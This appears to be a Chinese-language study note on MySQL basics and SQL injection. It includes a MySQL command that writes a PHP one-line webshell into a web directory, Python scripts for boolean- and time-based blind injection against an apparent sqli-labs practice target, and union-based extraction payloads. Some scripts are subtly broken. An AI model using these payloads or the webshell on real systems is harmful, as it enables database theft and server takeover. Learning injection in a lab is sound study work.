mysql基础语句
(1)mysql本地连接
mysql -h localhost -uroot –proot
1
参数 说明
-h 表示数据库连接地址,连接本机可不填,直接mysql -uroot -p
-u 表示要登录的用户
-p 表示使用密码登录
默认账/密:root/root
注:登录mysql时,-p后面不能有空格加密码,但-p空格,后面不加值是可以的
(2)查看所有数据库
show databases;
(3)使用数据库,注意sql语句后面要加分号
use 数据库名;
(4)查看当前数据库中的表
show tables;
(5)查看表中字段结构,不爆出内容
describe 表名;
(6)查看表中所有字段及内容(前提已经use了数据库)
select * from 表名;
(7)向指定目录,如C:\WWW目录中写入peak.php一句话木马
select “<?php @eval($_REQUEST[peak]);?>” into outfile “C:\WWW\peak.php”;
(8)创建数据库
create database peak;
(9)删除数据库
drop database 库名;
(10)清空表
delete from 表名;
(11)修改root密码
mysqladmin -uroot -p password 新密码
之后输入原密码,即会修改成功
(12)查询当前数据库所在目录
select @@basedir;
(13)创建数据库
CREATE DATABASE [IF NOT EXISTS] <数据库名>
(14)创建表
CREATE TABLE table_name (column_name column_type);
(15)创建字段
INSERT INTO users (字段名) VALUES (“字段值");
(16)删除表中数据
DELETE FROM <表名> [WHERE 子句] [ORDER BY 子句] [LIMIT 子句]
什么是sql注入
注入在本质上,实际就是将数据转变为代码。
对于sql注入来说,就是将数据转换为数据库中的语句(sql注入中,要基于数据在数据库中执行)
输入环境:http环境下都是可以的
注入点:所有数据提交的点都有可能(例如post get HTTP头部信息,文件上传等等 也就是需要数据库来记录的数据 都是输入环境)
数据库执行语句如何包裹输入数据?
整形(无符号包裹)
字符串(有符号包裹)
输出环境:
有输出(就是输入有反馈)(联合查询)
没有出环境(输入无反馈)
(布尔型,延时型)
如果没有图形界面,那么能不能浏览网页?
我们可以通过python的requests模块获取网页内容
例如:(这个就是简单的请求一个页面的内容)
import requests
url="http://sqli/Less-5/?id=1"
response=requests.get(url)
print(response.text)
常用脚本
1.判断是否为整形sql注入
import requests
header={
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Host": "sqli",
"Referer":"http://sqli/",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
}
url1="http://sqli/less-2/?id=1 and 1=1"
url2="http://sqli/less-2/?id=1 and 1=2"
response1=requests.get(url1,headers=header)
response2=requests.get(url2,headers=header)
if response1.text!=response2.text:
print("发现整形sql错误!")
2.爆表名,表长度:
import requests
header={
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Host": "sqli",
"Referer":"http://sqli/",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
}
url="http://sqli/Less-8/?id=1"
get_length_payload=" 'and length(database())={}--+" #攻击语句样式 {}可以做占位,后续填充
response=requests.get(exec_url,headers=header)
for x in range(1,50):#循环爆库长度
exec_url=url+get_length_payload.format(x)
payload_response=requests.get(exec_url,headers=header)
if payload_response.text==response.text:
print("该数据长度是{}".format(x))
break #要跳出循环 让x的值正确
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."#定义一个字符串集 里面包含所有可能有的元素
get_databasename_payload=" ' and ascii(substr(database(),{},1))={} --+" #进行ascii转换成数字 解决大小写的问题
result_dataname=""
for i in range(1,x+1):
for char in chars:
exec_url=url+get_databasename_payload.format(i,ord(char))
payload_response=requests.get(exec_url,headers=header)
response=requests.get(url,headers=header)
if payload_response.text==response.text:
result_dataname=result_dataname+char
print("该数据库名字为{}".format(result_dataname))
3.爆列名:
import requests
header={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0",
"Accept-Language":"zh-CN,zh;q=0.9",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
}
url="http://sqli/Less-8/?id=1"
get_length_payload="' and length((select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA='security' and table_name='users'))={}--+"
response=requests.get(url,headers=header)
for x in range(1,50):
exec_url=url+get_length_payload.format(x)
payload_response=requests.get(exec_url,headers=header)
if payload_response.text==response.text:
print("该数据长度是{}".format(x))
break
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."
get_data_payload="' and ord(substr((select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA='security' and table_name='users'),{},1))={} --+"
result_data=""
for i in range(1,x+1):
for char in chars:
exec_url=url+get_data_payload.format(i,ord(char))
payload_response=requests.get(exec_url,headers=header)
if payload_response.text==response.text:
result_data=result_data+char
break
print("该数据是{}".format(result_data))
4.字符型sql注入漏洞判断
import requests
header={
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Host": "sqli",
"Referer":"http://sqli/",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" }
def is_quotes_inj(url):
quotes= ["'",'"',")","')",'")']
for quote in quotes:
true_url=url+quote+"%20and 1=1"+"--+"
fasle_url=url+quote+"%20and 1=2"+"--+"
url_responese=requests.get(url,headers=header)
true_url_response = requests.get(true_url,headers=header)
fasle_url_response = requests.get(fasle_url,headers=header)
if true_url_response.text!=fasle_url_response.text and fasle_url_response.text!=url_responese.text and url_responese.text==true_url_response.text :
print("this is a {} type of sql injection!".format(quote))
t=True
else :
print(true_url)
if t:
return True
else:
return False url="http://sqli/Less-8/?id=1" is_quotes_inj(url)
5.爆数据:
import requests
import time
header={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0",
"Accept-Language":"zh-CN,zh;q=0.9",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
}
url="http://192.168.183.140/sqli-labs-master/Less-8/?id=1"
get_length_payload="' and length((select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA='security' and table_name='users'))={}--+"
# database()
# (select group_concat(table_name) from information_schema.tableS where TABLE_SCHEMA='dvwa' )
# (select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA=database() and table_name='users')
# (select group_concat(email_id) from emails)
get_length_payload="' and if(length((select group_concat(email_id) from emails) )={},sleep(2),1)--+"
response=requests.get(url,headers=header)
for x in range(1,200):
exec_url=url+get_length_payload.format(x)
start_time=time.time()
payload_response=requests.get(exec_url,headers=header)
end_time=time.time()
if (end_time-start_time)>2:
print("该数据长度是{}".format(x))
break
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."
get_data_payload="' and if(ord(substr((select group_concat(email_id) from emails) ,{},1))={},sleep(2),1) --+"
result_data=""
for i in range(1,x+1):
for char in chars:
exec_url=url+get_data_payload.format(i,ord(char))
start_time=time.time()
payload_response=requests.get(exec_url,headers=header)
end_time=time.time()
if (end_time-start_time)>2:
result_data=result_data+char
print("该数据是{}".format(result_data))
break
#该数据是emails,referers,uagents,users
# emails是id,email_id
常用语句总结:
1.判断漏洞类型
1.数字型注入
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加单引号,URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
2.字符型注入
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加单引号:select * from table where name=’admin’’
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;
Mysql 有三种常用注释符:
– 注意,这种注释符后边有一个空格
通过#进行注释
/* */ 注释掉符号内的内容
因此,构造语句为:select * from table where name =’admin’ and 1=1—’ 可成功执行返回结果正确;
(3) 加and 1=2— 此时sql语句为:select * from table where name=’admin’ and 1=2 –’则会报错
如果满足以上三点,可以判断该url为字符型注入。
Sql注入分类可以按照参数类型分为数字型和字符型。还有一些常见的注入分类,例如:
(1)POST:注入字段位于POST数据中;
(2)Cookie:注入字段位于Cookie数据中;
(3)延时注入:根据数据库延时特性的注入
(4)搜索注入:注入字段在搜索的位置;
(5)base64注入:注入字符经过base64编码后注入;
(7)错误注入:基于数据库错误信息的响应注入;
2.获取数据
1.爆数据库名字
1’ union select 1,database()
(select后面的数字根据字段数变化)
2.爆表名字
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘数据库名称’
3.爆列名
1’union select 1,group_concat(column_name) from information_schema.columns where table_name=‘表名称’
4.爆数据
'union select group_concat(表名),group_concat(列名)from 表名